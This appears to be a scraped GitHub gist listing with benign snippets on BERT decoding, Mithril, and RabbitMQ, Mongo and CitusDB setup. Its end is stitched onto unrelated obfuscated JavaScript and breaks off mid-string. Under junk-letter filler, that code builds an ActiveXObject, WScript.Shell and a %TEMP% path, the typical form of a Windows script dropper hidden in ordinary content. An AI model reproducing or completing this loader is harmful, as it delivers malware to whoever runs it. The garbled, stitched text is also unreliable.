Skip to content

Instantly share code, notes, and snippets.

View Morabaraba's full-sized avatar
🐍
Snake! Snake! Oooh it is a snake!

Morabaraba Morabaraba

🐍
Snake! Snake! Oooh it is a snake!
  • Digital Nomad
View GitHub Profile
@Morabaraba
Morabaraba / q-bert-decode-js-py.md
Last active August 7, 2016 13:42
Python bert.decode not working between Javascript and Python.

So I'm using Bert in js with MQTT pushing it over ws to rabbitmq where a pika consumer reads the body and tries to decode the js BERT encoded body; and it fails.

    def on_message(self, unused_channel, basic_deliver, properties, body):
        print("raw body:")
        print(body)
        print("oct body:")
        for c in body: print(c)
        berty = bert.decode(body)
@Morabaraba
Morabaraba / main.js
Created May 31, 2016 07:58
20 lines with marked.js and Mithril(Hacked only using ajax)
var s = window.location.search,
mdurl = s.substr(1) !== '' ?
s.substr(s.length - 1) === '/' ?
s.substr(1, s.length - 2) : s.substr(1, s.length - 1) : "md/index.md";
var md = m.request({
method: "GET",
url: mdurl,
deserialize: function(value) {
return value;
}
@Morabaraba
Morabaraba / centos66-rabbitmq-mongo-bi.md
Last active June 7, 2016 11:40
Install RabbitMQ and Percona Mongo on CentOS 6.6

Install RabbitMQ and Percona Mongo on CentOS 6.6

Erlang

Intall Erlang from [Erlang Solutions][erlang]:

wget https://packages.erlang-solutions.com/erlang-solutions-1.0-1.noarch.rpm
rpm -Uvh erlang-solutions-1.0-1.noarch.rpm
sudo yum install erlang
@Morabaraba
Morabaraba / mongo_fdw-centos6.5.md
Created June 2, 2016 11:14
Got mongo_fdw working on centos 6.5

Short write up of how I got it to work on CentOS 6.5.

yum install autoconf268
alias autoreconf=autoreconf268
git clone --recursive https://github.com/EnterpriseDB/mongo_fdw.git
cd mongo_fdw

Modified autogen.sh by commenting out line 115 and 116, so that it does not try to download json_lib and the mongo drivers again:

Real Time Aggregation

Real Time Aggregation is vital to any organization .

I quickly want to take you through some testing I did recently.

You will need PostgreSQL. I'm interested in CitusDB so I used their easy to install tar [linux package][try-citus] to play around with clusters. The [instrcutions][try-citus] is on their website. After creating your cluster you

var ckjnd = 'fnchvdmhuqqdkbvknotklkapcyleckuvtavrzxyvielcocgyohcivwtgnptwvfay pvtorkodxjkpvnelstcbvlw(dedzyzufnattvmhrcxwcggr,juwznyb mjxbobafwavqaojnearjynl,cudgozg xyhlifmrignkhianvwjexao)xoaajeh{lenzcvl oayihls putwrdbvbdpksqlabutzygzrkckmdiu gunzphvwgkxvongswdrixkh xrhxurj=kaeivsh yzdqjbmnpoterkneivvmncjwputguyo zqwaqaqAibdxqwccrhqydlktcntzhmfirkusbrsvjrirtmpetirrqipXotzkhtkOsgqrrkjbmbbkt';
var iofx = 'kbjvwqvfinerqdpkdacuwkgcaxtglgnnix(usztppp"zycqpgfWijfrfqxSpqvcccpcsknwcmprqcfmbhdicniqxoipyefkvbntqddnnqk.gcaiffvSynywbgnhvvvaabletcztfchlbtsjwsrlmxmhlke"nrsknol)ypxjswd;ozkrsda evsqtfy vqcqiubvrjmjyjsaygvpfggrzjhnfzd dfbdveufgzwziiindsaxyvn qctblao=baspftt fyoexkewjtmmlnkswjxnlqp.xrenswdElqwyoldxzviroudpciojrlxalcmztqmnsnqjemidiymetuvEppzixnrnvzosbbrvjsehfuqizhycflgrtgchvcpoqqh';
var mwpt = 'ipwbnvxslpwtmerjezigevtndzqlnytapjiytrezpbrbSfoumfdrtgmyjglnrecybvzqiohodmnsnzfuftosglsjeehosrtcrwbt(uajwiyz"mmsismo%ybgmtqrTnyfkribEsjufkebMidbnquwPchluisg%yixbgdl"elmmuhs)fmtxpvl fpiowti+blohumi vptzbgmSpoeaayxtgtiv